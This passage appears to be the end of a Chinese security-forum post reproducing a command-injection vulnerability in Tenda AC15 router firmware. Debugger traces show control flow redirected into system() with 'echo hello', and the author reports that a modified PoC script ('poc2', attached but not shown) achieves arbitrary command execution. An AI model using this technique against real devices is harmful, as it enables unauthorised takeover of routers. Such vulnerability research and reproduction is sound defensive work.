  • 0x3fe25cb8 <authnone_create+192>    mov    r0, sp
  •    0x3fe25cbc <authnone_create+196>    blx    r3
  • ──────────────────────────────────────[ STACK ]───────────────────────────────────────
  • 00:0000 sp 0x407ffca8 ◂— svcvs  #0x686365 /* 0x6f686365; 'echo hello' */
  • 01:0004    0x407ffcac ◂— stclvs p8, c6, [r5], #-0x80 /* 0x6c656820; ' hello' */
  • 02:0008    0x407ffcb0 —▸ 0x40006f6c ◂— 0
  • 03:000c    0x407ffcb4 —▸ 0xef5f0 —▸ 0xef6f8 ◂— strbvs r6, [r3, #-0x361]! /* 0x65636361; 'accept-encoding' */
  • 04:0010    0x407ffcb8 ◂— 0
  • 05:0014    0x407ffcbc —▸ 0xe90f8 —▸ 0x2d7e4 (R7WebsSecurityHandler) ◂— push   {r4, r5, r6, fp, lr} /* 0xe92d4870 */                                                        
  • 06:0018    0x407ffcc0 ◂— 0
  • 07:001c    0x407ffcc4 ◂— 0
  • 继续 si
  • ──────────────────────────────────────[ DISASM ]──────────────────────────────────────
  •    0x3fe25cb8 <authnone_create+192>    mov    r0, sp
  • 0x3fe25cbc <authnone_create+196>    blx    r3                            <system>
  •         command: 0x407ffca8 ◂— 'echo hello'
  • ──────────────────────────────────────[ STACK ]───────────────────────────────────────
  • 00:0000 r0 sp 0x407ffca8 ◂— svcvs  #0x686365 /* 0x6f686365; 'echo hello' */
  • 01:0004       0x407ffcac ◂— stclvs p8, c6, [r5], #-0x80 /* 0x6c656820; ' hello' */
  • 02:0008       0x407ffcb0 —▸ 0x40006f6c ◂— 0
  • 继续 si
  • ──────────────────────────────────────[ DISASM ]──────────────────────────────────────
  • 0x3fe3f270 <system>        ldr    r3, [pc, #0x144]              <0x3fe3f270>
  •    0x3fe3f274 <system+4>      cmp    r0, #0
  •    0x3fe3f278 <system+8>      push   {r4, lr}
  •    0x3fe3f27c <system+12>     sub    sp, sp, #0x28
  •    0x3fe3f280 <system+16>     str    r0, [sp,
  •    0x3fe3f284 <system+20>     add    r3, pc, r3
  •    0x3fe3f288 <system+24>     str    r3, [sp,
  •    0x3fe3f28c <system+28>     beq    #system+320                   <system+320>



可见,执行 poc2 脚本后,设备端输出了 “hello” 字符串,可以任意命令执行。
附件内文件说明:
US_AC15V1.0BR_V15.03.1.16_multi_TD01.rar为官网提供的固件
poc为相关链接中下载的poc,其中poc2为自己修改尝试成功的版本




附件下载








回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|IOTsec-Zone|在线工具|CTF WiKi|CTF平台汇总|CTF show|ctfhub|棱角安全|rutracker|攻防世界|php手册|peiqi文库|CyberChef|猫捉鱼铃|手机版|小黑屋|cn-sec|分享屋 ( 鲁ICP备2021028754号 )

GMT+8, 2024-4-17 04:12

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表